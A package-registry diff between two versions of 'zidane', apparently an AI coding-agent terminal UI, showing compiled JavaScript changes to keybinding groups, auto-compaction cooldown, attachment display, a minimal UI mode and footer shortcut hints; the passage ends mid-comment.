zidane 5.5.5 → 5.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +7 -1
- package/dist/{agent-CMAklak7.d.ts → agent-Dtnvs5ee.d.ts} +91 -2
- package/dist/agent-Dtnvs5ee.d.ts.map +1 -0
- package/dist/chat.d.ts +204 -15
- package/dist/chat.d.ts.map +1 -1
- package/dist/chat.js +3 -3
- package/dist/{errors-C5VSakmT.js → errors-DdZXnyXE.js} +38 -2
- package/dist/errors-DdZXnyXE.js.map +1 -0
- package/dist/{index-CF5QwBiz.d.ts → index-DHeHe04L.d.ts} +2 -2
- package/dist/{index-CF5QwBiz.d.ts.map → index-DHeHe04L.d.ts.map} +1 -1
- package/dist/{index-kroGomhj.d.ts → index-DX8De0nl.d.ts} +23 -2
- package/dist/index-DX8De0nl.d.ts.map +1 -0
- package/dist/index.d.ts +4 -4
- package/dist/index.js +10 -10
- package/dist/{interpolate-Cvjy8gpk.js → interpolate-j5V-wcAQ.js} +2 -2
- package/dist/{interpolate-Cvjy8gpk.js.map → interpolate-j5V-wcAQ.js.map} +1 -1
- package/dist/{login-B_kfoGMP.js → login-BOj03nVe.js} +5 -4
- package/dist/login-BOj03nVe.js.map +1 -0
- package/dist/{mcp-BE43Viwi.js → mcp-ngMS0S6N.js} +2 -2
- package/dist/{mcp-BE43Viwi.js.map → mcp-ngMS0S6N.js.map} +1 -1
- package/dist/mcp.d.ts +1 -1
- package/dist/mcp.js +1 -1
- package/dist/{messages-BBWakTN6.js → messages-B5k4DAXy.js} +2 -2
- package/dist/{messages-BBWakTN6.js.map → messages-B5k4DAXy.js.map} +1 -1
- package/dist/{presets-BDvBZuYI.js → presets-CTSij3yV.js} +2 -2
- package/dist/{presets-BDvBZuYI.js.map → presets-CTSij3yV.js.map} +1 -1
- package/dist/presets.d.ts +2 -2
- package/dist/presets.js +1 -1
- package/dist/{providers-CsUyN_FJ.js → providers-CaJE2ToS.js} +3 -3
- package/dist/{providers-CsUyN_FJ.js.map → providers-CaJE2ToS.js.map} +1 -1
- package/dist/providers.d.ts +1 -1
- package/dist/providers.js +2 -2
- package/dist/restate.d.ts +1 -1
- package/dist/session/sqlite.d.ts +1 -1
- package/dist/session/sqlite.d.ts.map +1 -1
- package/dist/session/sqlite.js +226 -51
- package/dist/session/sqlite.js.map +1 -1
- package/dist/{session-DzfRacU_.js → session-BoEW_wCR.js} +2 -2
- package/dist/{session-DzfRacU_.js.map → session-BoEW_wCR.js.map} +1 -1
- package/dist/session.d.ts +1 -1
- package/dist/session.js +2 -2
- package/dist/skills.d.ts +2 -2
- package/dist/skills.js +1 -1
- package/dist/{tools-Bbd0Ivwn.js → tools-CslsHpKb.js} +156 -16
- package/dist/tools-CslsHpKb.js.map +1 -0
- package/dist/tools.d.ts +2 -2
- package/dist/tools.js +1 -1
- package/dist/{transcript-anchors-C7CtKPPo.d.ts → transcript-anchors-CwoKNW6Y.d.ts} +74 -5
- package/dist/transcript-anchors-CwoKNW6Y.d.ts.map +1 -0
- package/dist/tui.d.ts +24 -5
- package/dist/tui.d.ts.map +1 -1
- package/dist/tui.js +1280 -333
- package/dist/tui.js.map +1 -1
- package/dist/{turn-operations-rYyU2Qyq.js → turn-operations-B8ySajUl.js} +687 -86
- package/dist/turn-operations-B8ySajUl.js.map +1 -0
- package/dist/types-oKPBdCmL.js.map +1 -1
- package/dist/types.d.ts +3 -3
- package/dist/types.js +2 -2
- package/docs/ARCHITECTURE.md +5 -2
- package/docs/CHAT.md +10 -3
- package/docs/RESTATE.md +190 -0
- package/docs/SKILL.md +27 -2
- package/docs/TUI.md +4 -3
- package/package.json +2 -1
- package/dist/agent-CMAklak7.d.ts.map +0 -1
- package/dist/errors-C5VSakmT.js.map +0 -1
- package/dist/index-kroGomhj.d.ts.map +0 -1
- package/dist/login-B_kfoGMP.js.map +0 -1
- package/dist/tools-Bbd0Ivwn.js.map +0 -1
- package/dist/transcript-anchors-C7CtKPPo.d.ts.map +0 -1
- package/dist/turn-operations-rYyU2Qyq.js.map +0 -1
|
@@ -1,17 +1,18 @@
|
|
|
1
|
-
import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-
|
|
2
|
-
import {
|
|
1
|
+
import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-CslsHpKb.js";
|
|
2
|
+
import { c as errorMessage } from "./errors-DdZXnyXE.js";
|
|
3
3
|
import { r as toolResultToText } from "./types-oKPBdCmL.js";
|
|
4
|
-
import { r as normalizeMcpServers } from "./mcp-
|
|
5
|
-
import { a as discoverSkills } from "./interpolate-
|
|
4
|
+
import { r as normalizeMcpServers } from "./mcp-ngMS0S6N.js";
|
|
5
|
+
import { a as discoverSkills } from "./interpolate-j5V-wcAQ.js";
|
|
6
6
|
import { n as formatTokenUsage } from "./stats-Lc3zL3RM.js";
|
|
7
|
-
import { n as definePreset, t as composePresets } from "./presets-
|
|
8
|
-
import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-
|
|
7
|
+
import { n as definePreset, t as composePresets } from "./presets-CTSij3yV.js";
|
|
8
|
+
import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-CaJE2ToS.js";
|
|
9
9
|
import { createRequire } from "node:module";
|
|
10
10
|
import { dirname, isAbsolute, join, posix, relative, resolve, sep } from "node:path";
|
|
11
11
|
import { homedir, tmpdir } from "node:os";
|
|
12
12
|
import { spawn } from "node:child_process";
|
|
13
13
|
import { chmodSync, createReadStream, createWriteStream, existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, renameSync, rmSync, statSync, writeFileSync } from "node:fs";
|
|
14
14
|
import { readdir, stat, writeFile } from "node:fs/promises";
|
|
15
|
+
import { Buffer as Buffer$1 } from "node:buffer";
|
|
15
16
|
import { getModel, getModels } from "@mariozechner/pi-ai";
|
|
16
17
|
import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/pi-ai/oauth";
|
|
17
18
|
import { createHash } from "node:crypto";
|
|
@@ -1416,6 +1417,19 @@ function detectAuth(dataDir, registry, env = process.env) {
|
|
|
1416
1417
|
* No state. Same inputs → same answer.
|
|
1417
1418
|
*/
|
|
1418
1419
|
/**
|
|
1420
|
+
* Default hysteresis floor for {@link shouldAutoCompact}. After a successful
|
|
1421
|
+
* compaction lands, the next compaction is suppressed until input usage
|
|
1422
|
+
* grows by at least this fraction of the effective context window beyond
|
|
1423
|
+
* the post-compact baseline.
|
|
1424
|
+
*
|
|
1425
|
+
* `0.1` = 10% of the window. Picked so the immediate post-compact bounce
|
|
1426
|
+
* (summary turn + restored attachments + re-emitted system prefix) never
|
|
1427
|
+
* re-fires the trigger by itself, but a meaningful chunk of new work
|
|
1428
|
+
* (one or two large tool reads) does. Tune via the predicate's
|
|
1429
|
+
* `minGrowthFraction` input if a host needs different ergonomics.
|
|
1430
|
+
*/
|
|
1431
|
+
const AUTO_COMPACT_MIN_GROWTH_FRACTION = .1;
|
|
1432
|
+
/**
|
|
1419
1433
|
* Decide whether auto-compaction should fire for the latest turn.
|
|
1420
1434
|
*
|
|
1421
1435
|
* Order of checks is deliberate: cheapest / most common skips first
|
|
@@ -1448,6 +1462,12 @@ function shouldAutoCompact(input) {
|
|
|
1448
1462
|
kind: "skip",
|
|
1449
1463
|
reason: "under-threshold"
|
|
1450
1464
|
};
|
|
1465
|
+
if (typeof input.lastCompactedInputTokens === "number" && Number.isFinite(input.lastCompactedInputTokens) && input.lastCompactedInputTokens >= 0 && typeof input.minGrowthFraction === "number" && Number.isFinite(input.minGrowthFraction) && input.minGrowthFraction > 0) {
|
|
1466
|
+
if ((input.inputTokens - input.lastCompactedInputTokens) / effectiveWindow < input.minGrowthFraction) return {
|
|
1467
|
+
kind: "skip",
|
|
1468
|
+
reason: "cooldown"
|
|
1469
|
+
};
|
|
1470
|
+
}
|
|
1451
1471
|
if (input.alreadyCompacting) return {
|
|
1452
1472
|
kind: "skip",
|
|
1453
1473
|
reason: "already-compacting"
|
|
@@ -2942,127 +2962,162 @@ const KEYBINDING_DEFS = [
|
|
|
2942
2962
|
action: "openSettings",
|
|
2943
2963
|
default: "ctrl+o",
|
|
2944
2964
|
label: "settings",
|
|
2945
|
-
description: "open the Settings modal (toggles, theme, keybindings)"
|
|
2965
|
+
description: "open the Settings modal (toggles, theme, keybindings)",
|
|
2966
|
+
group: "Global"
|
|
2946
2967
|
},
|
|
2947
2968
|
{
|
|
2948
2969
|
action: "openSessionDetails",
|
|
2949
2970
|
default: "ctrl+x",
|
|
2950
2971
|
label: "session",
|
|
2951
|
-
description: "open the session details modal (stats, export, delete, rename)"
|
|
2972
|
+
description: "open the session details modal (stats, export, delete, rename)",
|
|
2973
|
+
group: "Global"
|
|
2952
2974
|
},
|
|
2953
2975
|
{
|
|
2954
2976
|
action: "openModelPicker",
|
|
2955
2977
|
default: "ctrl+m",
|
|
2956
2978
|
label: "model",
|
|
2957
|
-
description: "open the cross-provider model picker"
|
|
2979
|
+
description: "open the cross-provider model picker",
|
|
2980
|
+
group: "Global"
|
|
2958
2981
|
},
|
|
2959
2982
|
{
|
|
2960
2983
|
action: "openEffortPicker",
|
|
2961
2984
|
default: "ctrl+l",
|
|
2962
2985
|
label: "effort",
|
|
2963
|
-
description: "open the reasoning-effort picker (when the active model supports it)"
|
|
2986
|
+
description: "open the reasoning-effort picker (when the active model supports it)",
|
|
2987
|
+
group: "Global"
|
|
2964
2988
|
},
|
|
2965
2989
|
{
|
|
2966
2990
|
action: "openTodos",
|
|
2967
2991
|
default: "ctrl+t",
|
|
2968
2992
|
label: "todos",
|
|
2969
|
-
description: "open the active run's todo list (the agent's `todowrite` checkpoints)"
|
|
2993
|
+
description: "open the active run's todo list (the agent's `todowrite` checkpoints)",
|
|
2994
|
+
group: "Global"
|
|
2995
|
+
},
|
|
2996
|
+
{
|
|
2997
|
+
action: "openKeybindings",
|
|
2998
|
+
default: "ctrl+y",
|
|
2999
|
+
label: "keybindings",
|
|
3000
|
+
description: "open the keybindings panel — list every shortcut and jump to the keybindings.json file",
|
|
3001
|
+
group: "Global"
|
|
2970
3002
|
},
|
|
2971
3003
|
{
|
|
2972
3004
|
action: "cycleAgent",
|
|
2973
3005
|
default: "shift+tab",
|
|
2974
3006
|
label: "cycle agent",
|
|
2975
|
-
description: "cycle to the next agent profile (when multiple profiles are registered)"
|
|
3007
|
+
description: "cycle to the next agent profile (when multiple profiles are registered)",
|
|
3008
|
+
group: "Global"
|
|
2976
3009
|
},
|
|
2977
3010
|
{
|
|
2978
3011
|
action: "enterSelectTurnMode",
|
|
2979
3012
|
default: "ctrl+s",
|
|
2980
3013
|
label: "messages",
|
|
2981
|
-
description: "enter select-turn mode to navigate previous messages"
|
|
3014
|
+
description: "enter select-turn mode to navigate previous messages",
|
|
3015
|
+
group: "Global"
|
|
2982
3016
|
},
|
|
2983
3017
|
{
|
|
2984
3018
|
action: "cancelToolCall",
|
|
2985
3019
|
default: "ctrl+k",
|
|
2986
3020
|
label: "cancel tool",
|
|
2987
|
-
description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)"
|
|
3021
|
+
description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)",
|
|
3022
|
+
group: "Global"
|
|
3023
|
+
},
|
|
3024
|
+
{
|
|
3025
|
+
action: "changeCwd",
|
|
3026
|
+
default: "ctrl+g",
|
|
3027
|
+
label: "cwd",
|
|
3028
|
+
description: "open the directory picker to change the working directory",
|
|
3029
|
+
group: "Global"
|
|
2988
3030
|
},
|
|
2989
3031
|
{
|
|
2990
3032
|
action: "enterQueueSelection",
|
|
2991
3033
|
default: "",
|
|
2992
3034
|
label: "select queue",
|
|
2993
|
-
description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
|
|
3035
|
+
description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)",
|
|
3036
|
+
group: "Message queue"
|
|
2994
3037
|
},
|
|
2995
3038
|
{
|
|
2996
3039
|
action: "pushQueuedMessage",
|
|
2997
3040
|
default: "ctrl+return",
|
|
2998
3041
|
label: "push",
|
|
2999
|
-
description: "steer the selected queued message into the live run (delivered between tool calls)"
|
|
3042
|
+
description: "steer the selected queued message into the live run (delivered between tool calls)",
|
|
3043
|
+
group: "Message queue"
|
|
3000
3044
|
},
|
|
3001
3045
|
{
|
|
3002
3046
|
action: "dropQueuedMessage",
|
|
3003
3047
|
default: "backspace",
|
|
3004
3048
|
label: "drop",
|
|
3005
|
-
description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
|
|
3049
|
+
description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)",
|
|
3050
|
+
group: "Message queue"
|
|
3006
3051
|
},
|
|
3007
3052
|
{
|
|
3008
3053
|
action: "turnFork",
|
|
3009
3054
|
default: "f",
|
|
3010
3055
|
label: "fork",
|
|
3011
|
-
description: "fork the session at the selected turn (two-press confirm)"
|
|
3056
|
+
description: "fork the session at the selected turn (two-press confirm)",
|
|
3057
|
+
group: "Turn details"
|
|
3012
3058
|
},
|
|
3013
3059
|
{
|
|
3014
3060
|
action: "turnDelete",
|
|
3015
3061
|
default: "d",
|
|
3016
3062
|
label: "delete",
|
|
3017
|
-
description: "delete the selected turn (two-press confirm)"
|
|
3063
|
+
description: "delete the selected turn (two-press confirm)",
|
|
3064
|
+
group: "Turn details"
|
|
3018
3065
|
},
|
|
3019
3066
|
{
|
|
3020
3067
|
action: "turnCopy",
|
|
3021
3068
|
default: "c",
|
|
3022
3069
|
label: "copy",
|
|
3023
|
-
description: "copy the selected turn content to the clipboard (OSC 52)"
|
|
3070
|
+
description: "copy the selected turn content to the clipboard (OSC 52)",
|
|
3071
|
+
group: "Turn details"
|
|
3024
3072
|
},
|
|
3025
3073
|
{
|
|
3026
3074
|
action: "turnEdit",
|
|
3027
3075
|
default: "e",
|
|
3028
3076
|
label: "edit",
|
|
3029
|
-
description: "edit the text content of the selected turn"
|
|
3077
|
+
description: "edit the text content of the selected turn",
|
|
3078
|
+
group: "Turn details"
|
|
3030
3079
|
},
|
|
3031
3080
|
{
|
|
3032
3081
|
action: "sessionDelete",
|
|
3033
3082
|
default: "d",
|
|
3034
3083
|
label: "delete",
|
|
3035
|
-
description: "delete the entire session (two-press confirm)"
|
|
3084
|
+
description: "delete the entire session (two-press confirm)",
|
|
3085
|
+
group: "Session details"
|
|
3036
3086
|
},
|
|
3037
3087
|
{
|
|
3038
3088
|
action: "sessionCopyId",
|
|
3039
3089
|
default: "c",
|
|
3040
3090
|
label: "copy id",
|
|
3041
|
-
description: "copy the full session id to the clipboard (OSC 52)"
|
|
3091
|
+
description: "copy the full session id to the clipboard (OSC 52)",
|
|
3092
|
+
group: "Session details"
|
|
3042
3093
|
},
|
|
3043
3094
|
{
|
|
3044
3095
|
action: "sessionGenerateTitle",
|
|
3045
3096
|
default: "g",
|
|
3046
3097
|
label: "generate title",
|
|
3047
|
-
description: "generate a title for the session via the active provider/model"
|
|
3098
|
+
description: "generate a title for the session via the active provider/model",
|
|
3099
|
+
group: "Session details"
|
|
3048
3100
|
},
|
|
3049
3101
|
{
|
|
3050
3102
|
action: "sessionExportMarkdown",
|
|
3051
3103
|
default: "e",
|
|
3052
3104
|
label: "export md",
|
|
3053
|
-
description: "export the session as Markdown under .{prefix}/sessions/"
|
|
3105
|
+
description: "export the session as Markdown under .{prefix}/sessions/",
|
|
3106
|
+
group: "Session details"
|
|
3054
3107
|
},
|
|
3055
3108
|
{
|
|
3056
3109
|
action: "sessionExportJson",
|
|
3057
3110
|
default: "j",
|
|
3058
3111
|
label: "export json",
|
|
3059
|
-
description: "export the session as JSON under .{prefix}/sessions/"
|
|
3112
|
+
description: "export the session as JSON under .{prefix}/sessions/",
|
|
3113
|
+
group: "Session details"
|
|
3060
3114
|
},
|
|
3061
3115
|
{
|
|
3062
3116
|
action: "sessionCompact",
|
|
3063
3117
|
default: "k",
|
|
3064
3118
|
label: "compact",
|
|
3065
|
-
description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
|
|
3119
|
+
description: "compact older turns via an LLM summary (model still sees everything from the boundary down)",
|
|
3120
|
+
group: "Session details"
|
|
3066
3121
|
}
|
|
3067
3122
|
];
|
|
3068
3123
|
/** Index by action for O(1) lookup of label / description / default. */
|
|
@@ -3162,6 +3217,39 @@ function matchesBinding(event, spec) {
|
|
|
3162
3217
|
if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
|
|
3163
3218
|
return true;
|
|
3164
3219
|
}
|
|
3220
|
+
/** Verbose key names → compact single-cell glyphs used by hint rows. */
|
|
3221
|
+
const KEY_GLYPHS = {
|
|
3222
|
+
up: "↑",
|
|
3223
|
+
down: "↓",
|
|
3224
|
+
left: "←",
|
|
3225
|
+
right: "→",
|
|
3226
|
+
return: "↵",
|
|
3227
|
+
enter: "↵",
|
|
3228
|
+
delete: "⌫",
|
|
3229
|
+
backspace: "⌫",
|
|
3230
|
+
escape: "esc",
|
|
3231
|
+
space: "␣",
|
|
3232
|
+
tab: "⇥"
|
|
3233
|
+
};
|
|
3234
|
+
/**
|
|
3235
|
+
* Render a binding spec (`"ctrl+return"`, `"backspace"`, `"delete"`) as a
|
|
3236
|
+
* compact display string the user recognizes at a glance. Substitutes
|
|
3237
|
+
* arrow / enter / backspace glyphs for their verbose names so the hint
|
|
3238
|
+
* row stays narrow; modifier names + plain keys pass through unchanged.
|
|
3239
|
+
*
|
|
3240
|
+
* Empty / missing specs return an empty string — callers decide whether
|
|
3241
|
+
* to render a placeholder (e.g. `'—'` for an unbound action in the
|
|
3242
|
+
* keybindings panel) or hide the surface entirely (e.g. hint rows that
|
|
3243
|
+
* fall back to a different chord when the binding is empty).
|
|
3244
|
+
*/
|
|
3245
|
+
function formatBindingForDisplay(spec) {
|
|
3246
|
+
if (!spec) return "";
|
|
3247
|
+
const segments = spec.toLowerCase().split("+");
|
|
3248
|
+
const key = segments.pop() ?? "";
|
|
3249
|
+
const modifiers = segments.join("+");
|
|
3250
|
+
const glyph = KEY_GLYPHS[key] ?? key;
|
|
3251
|
+
return modifiers ? `${modifiers}+${glyph}` : glyph;
|
|
3252
|
+
}
|
|
3165
3253
|
/**
|
|
3166
3254
|
* Merge a partial map of user overrides into the defaults. Unknown
|
|
3167
3255
|
* action keys are dropped (a future TUI version may have retired the
|
|
@@ -4281,10 +4369,27 @@ function eventsFromTurns(turns, runs = []) {
|
|
|
4281
4369
|
kind: "separator",
|
|
4282
4370
|
text: ""
|
|
4283
4371
|
});
|
|
4372
|
+
const attachments = [];
|
|
4373
|
+
for (const sibling of turn.content) if (sibling.type === "image") {
|
|
4374
|
+
const raw = typeof sibling.data === "string" ? Buffer$1.from(sibling.data, "base64") : sibling.data;
|
|
4375
|
+
attachments.push({
|
|
4376
|
+
name: sibling.name ?? "image",
|
|
4377
|
+
mediaType: sibling.mediaType,
|
|
4378
|
+
size: raw.length
|
|
4379
|
+
});
|
|
4380
|
+
} else if (sibling !== block && sibling.type === "text") {
|
|
4381
|
+
const m = sibling.text.match(/^<attachment\s+(?:name="([^"]+)"\s*)?(?:media_type="([^"]+)")?/);
|
|
4382
|
+
if (m) attachments.push({
|
|
4383
|
+
name: m[1] ?? "attachment",
|
|
4384
|
+
mediaType: m[2] ?? "text/plain",
|
|
4385
|
+
size: sibling.text.length
|
|
4386
|
+
});
|
|
4387
|
+
}
|
|
4284
4388
|
events.push({
|
|
4285
4389
|
kind: "user-prompt",
|
|
4286
4390
|
text: block.text,
|
|
4287
|
-
turnId: turn.id
|
|
4391
|
+
turnId: turn.id,
|
|
4392
|
+
...attachments.length > 0 ? { attachments } : {}
|
|
4288
4393
|
});
|
|
4289
4394
|
}
|
|
4290
4395
|
} else if (block.type === "tool_result") {
|
|
@@ -5929,7 +6034,8 @@ const DEFAULT_SETTINGS = {
|
|
|
5929
6034
|
smoothStreaming: true,
|
|
5930
6035
|
showTodoIndicator: true,
|
|
5931
6036
|
showThrobber: false,
|
|
5932
|
-
checkForUpdates: true
|
|
6037
|
+
checkForUpdates: true,
|
|
6038
|
+
uiMode: "full"
|
|
5933
6039
|
};
|
|
5934
6040
|
/**
|
|
5935
6041
|
* Hard-clamp a `targetFps` value to a safe range before handing it to
|
|
@@ -6125,6 +6231,18 @@ const SETTINGS_CHOICES = [
|
|
|
6125
6231
|
label: t.label
|
|
6126
6232
|
}))
|
|
6127
6233
|
},
|
|
6234
|
+
{
|
|
6235
|
+
key: "uiMode",
|
|
6236
|
+
label: "UI mode",
|
|
6237
|
+
description: "chat-screen chrome density — full advertises every shortcut, minimal keeps only agent / model / keybindings + `@` · `/` triggers (rest reachable via `ctrl+y`)",
|
|
6238
|
+
options: [{
|
|
6239
|
+
value: "full",
|
|
6240
|
+
label: "Full"
|
|
6241
|
+
}, {
|
|
6242
|
+
value: "minimal",
|
|
6243
|
+
label: "Minimal"
|
|
6244
|
+
}]
|
|
6245
|
+
},
|
|
6128
6246
|
{
|
|
6129
6247
|
key: "targetFps",
|
|
6130
6248
|
label: "Renderer fps",
|
|
@@ -6392,6 +6510,177 @@ function toEntries(paths, source, maxFiles) {
|
|
|
6392
6510
|
return out;
|
|
6393
6511
|
}
|
|
6394
6512
|
//#endregion
|
|
6513
|
+
//#region src/chat/footer-hints.ts
|
|
6514
|
+
/**
|
|
6515
|
+
* Build the footer's shortcut hints for the current screen. On the chat
|
|
6516
|
+
* screen the model id rides next to its `ctrl+m` shortcut and the agent
|
|
6517
|
+
* label rides next to `shift+tab`, each in its accent color — the bar
|
|
6518
|
+
* doubles as the status display without needing separate badges. When
|
|
6519
|
+
* the active model exposes reasoning, the `ctrl+m` hint grows a
|
|
6520
|
+
* secondary `/n` chord with the current effort label, surfacing the
|
|
6521
|
+
* effort picker as a discoverable, in-place affordance.
|
|
6522
|
+
*/
|
|
6523
|
+
function buildHints(options) {
|
|
6524
|
+
const { screen, busy, pending, pendingInteractionLive, pendingInteractionResumed, currentSession, hasMultipleAgents, uiMode, modelLabel, modelColor, effortLabel, effortColor, effortKeyColor, agentLabel, agentColor, keybindings, inFlightToolCount, activeSkillCount, skillsChipColor, updateHint } = options;
|
|
6525
|
+
if (pending) return [
|
|
6526
|
+
{
|
|
6527
|
+
key: "↑↓",
|
|
6528
|
+
label: "navigate"
|
|
6529
|
+
},
|
|
6530
|
+
{
|
|
6531
|
+
key: "↵",
|
|
6532
|
+
label: "select"
|
|
6533
|
+
},
|
|
6534
|
+
{
|
|
6535
|
+
key: "esc",
|
|
6536
|
+
label: "abort run"
|
|
6537
|
+
}
|
|
6538
|
+
];
|
|
6539
|
+
if (pendingInteractionLive) return [
|
|
6540
|
+
{
|
|
6541
|
+
key: "↑↓",
|
|
6542
|
+
label: "navigate"
|
|
6543
|
+
},
|
|
6544
|
+
{
|
|
6545
|
+
key: "↵",
|
|
6546
|
+
label: "select"
|
|
6547
|
+
},
|
|
6548
|
+
{
|
|
6549
|
+
key: "esc",
|
|
6550
|
+
label: "abort run"
|
|
6551
|
+
}
|
|
6552
|
+
];
|
|
6553
|
+
if (pendingInteractionResumed) return [
|
|
6554
|
+
{
|
|
6555
|
+
key: "↑↓",
|
|
6556
|
+
label: "navigate"
|
|
6557
|
+
},
|
|
6558
|
+
{
|
|
6559
|
+
key: "↵",
|
|
6560
|
+
label: "select"
|
|
6561
|
+
},
|
|
6562
|
+
{
|
|
6563
|
+
key: "esc",
|
|
6564
|
+
label: "leave for later"
|
|
6565
|
+
}
|
|
6566
|
+
];
|
|
6567
|
+
if (busy) {
|
|
6568
|
+
const baseBusyHints = [];
|
|
6569
|
+
if (inFlightToolCount > 0) baseBusyHints.push({
|
|
6570
|
+
key: keybindings.cancelToolCall,
|
|
6571
|
+
label: inFlightToolCount === 1 ? "cancel" : `cancel (${inFlightToolCount})`
|
|
6572
|
+
});
|
|
6573
|
+
baseBusyHints.push({
|
|
6574
|
+
key: "esc",
|
|
6575
|
+
label: "abort"
|
|
6576
|
+
});
|
|
6577
|
+
return baseBusyHints;
|
|
6578
|
+
}
|
|
6579
|
+
if (screen === "auth") return [
|
|
6580
|
+
{
|
|
6581
|
+
key: "↑↓",
|
|
6582
|
+
label: "navigate"
|
|
6583
|
+
},
|
|
6584
|
+
{
|
|
6585
|
+
key: "↵",
|
|
6586
|
+
label: "select"
|
|
6587
|
+
},
|
|
6588
|
+
{
|
|
6589
|
+
key: "esc",
|
|
6590
|
+
label: "exit"
|
|
6591
|
+
}
|
|
6592
|
+
];
|
|
6593
|
+
if (screen === "sessions") return [
|
|
6594
|
+
{
|
|
6595
|
+
key: "↑↓",
|
|
6596
|
+
label: "navigate"
|
|
6597
|
+
},
|
|
6598
|
+
{
|
|
6599
|
+
key: "↵",
|
|
6600
|
+
label: "open"
|
|
6601
|
+
},
|
|
6602
|
+
{
|
|
6603
|
+
key: keybindings.openSessionDetails,
|
|
6604
|
+
label: "session"
|
|
6605
|
+
},
|
|
6606
|
+
{
|
|
6607
|
+
key: keybindings.openSettings,
|
|
6608
|
+
label: "settings"
|
|
6609
|
+
},
|
|
6610
|
+
{
|
|
6611
|
+
key: "esc",
|
|
6612
|
+
label: currentSession ? "back" : "exit"
|
|
6613
|
+
}
|
|
6614
|
+
];
|
|
6615
|
+
const modelHint = modelLabel ? {
|
|
6616
|
+
key: keybindings.openModelPicker,
|
|
6617
|
+
label: modelLabel,
|
|
6618
|
+
labelColor: modelColor,
|
|
6619
|
+
...effortLabel ? { extra: {
|
|
6620
|
+
key: shortChord(keybindings.openEffortPicker),
|
|
6621
|
+
keyColor: effortKeyColor,
|
|
6622
|
+
label: effortLabel,
|
|
6623
|
+
labelColor: effortColor
|
|
6624
|
+
} } : {}
|
|
6625
|
+
} : null;
|
|
6626
|
+
const skillsChip = activeSkillCount > 0 ? {
|
|
6627
|
+
key: "✦",
|
|
6628
|
+
keyColor: skillsChipColor,
|
|
6629
|
+
label: activeSkillCount === 1 ? "1 skill" : `${activeSkillCount} skills`,
|
|
6630
|
+
labelColor: skillsChipColor
|
|
6631
|
+
} : null;
|
|
6632
|
+
const cancelTaskChip = inFlightToolCount > 0 ? {
|
|
6633
|
+
key: keybindings.cancelToolCall,
|
|
6634
|
+
label: inFlightToolCount === 1 ? "cancel task" : `cancel task (${inFlightToolCount})`
|
|
6635
|
+
} : null;
|
|
6636
|
+
if (uiMode === "minimal") return [
|
|
6637
|
+
...hasMultipleAgents ? [{
|
|
6638
|
+
key: keybindings.cycleAgent,
|
|
6639
|
+
label: agentLabel,
|
|
6640
|
+
labelColor: agentColor
|
|
6641
|
+
}] : [],
|
|
6642
|
+
...modelHint ? [modelHint] : [],
|
|
6643
|
+
{
|
|
6644
|
+
key: keybindings.openKeybindings,
|
|
6645
|
+
label: "keybindings"
|
|
6646
|
+
}
|
|
6647
|
+
];
|
|
6648
|
+
return [
|
|
6649
|
+
...hasMultipleAgents ? [{
|
|
6650
|
+
key: keybindings.cycleAgent,
|
|
6651
|
+
label: agentLabel,
|
|
6652
|
+
labelColor: agentColor
|
|
6653
|
+
}] : [],
|
|
6654
|
+
...modelHint ? [modelHint] : [],
|
|
6655
|
+
...skillsChip ? [skillsChip] : [],
|
|
6656
|
+
...cancelTaskChip ? [cancelTaskChip] : [],
|
|
6657
|
+
...currentSession ? [{
|
|
6658
|
+
key: keybindings.openSessionDetails,
|
|
6659
|
+
label: "session"
|
|
6660
|
+
}] : [],
|
|
6661
|
+
{
|
|
6662
|
+
key: keybindings.openSettings,
|
|
6663
|
+
label: "settings"
|
|
6664
|
+
},
|
|
6665
|
+
{
|
|
6666
|
+
key: "esc",
|
|
6667
|
+
label: "sessions"
|
|
6668
|
+
},
|
|
6669
|
+
...updateHint ? [updateHint] : []
|
|
6670
|
+
];
|
|
6671
|
+
}
|
|
6672
|
+
/**
|
|
6673
|
+
* Shorten a binding spec for display as a "chord continuation" — the
|
|
6674
|
+
* `/n` after `ctrl+m model` in the chat footer. We only strip the
|
|
6675
|
+
* `ctrl+` prefix so user-customized chords (`alt+n`, `meta+shift+n`)
|
|
6676
|
+
* still render in full. Falls back to the verbatim spec when no
|
|
6677
|
+
* `ctrl+` prefix is found, which keeps the visual contract honest:
|
|
6678
|
+
* the rendered key always matches the bound trigger.
|
|
6679
|
+
*/
|
|
6680
|
+
function shortChord(spec) {
|
|
6681
|
+
return spec.startsWith("ctrl+") ? `/${spec.slice(5)}` : spec;
|
|
6682
|
+
}
|
|
6683
|
+
//#endregion
|
|
6395
6684
|
//#region src/chat/generate-title.ts
|
|
6396
6685
|
/** Hard cap on the result length. Anything longer is truncated client-side. */
|
|
6397
6686
|
const TITLE_MAX_CHARS = 60;
|
|
@@ -6527,7 +6816,14 @@ function hintsLength(hints) {
|
|
|
6527
6816
|
function hintLength(h) {
|
|
6528
6817
|
return h.key.length + 1 + h.label.length + (h.extra ? h.extra.key.length + 1 + h.extra.label.length : 0);
|
|
6529
6818
|
}
|
|
6530
|
-
/**
|
|
6819
|
+
/**
|
|
6820
|
+
* Stable empty list so callers can compare by reference. Exported so
|
|
6821
|
+
* any consumer that needs to feed "no primary hints" into the same
|
|
6822
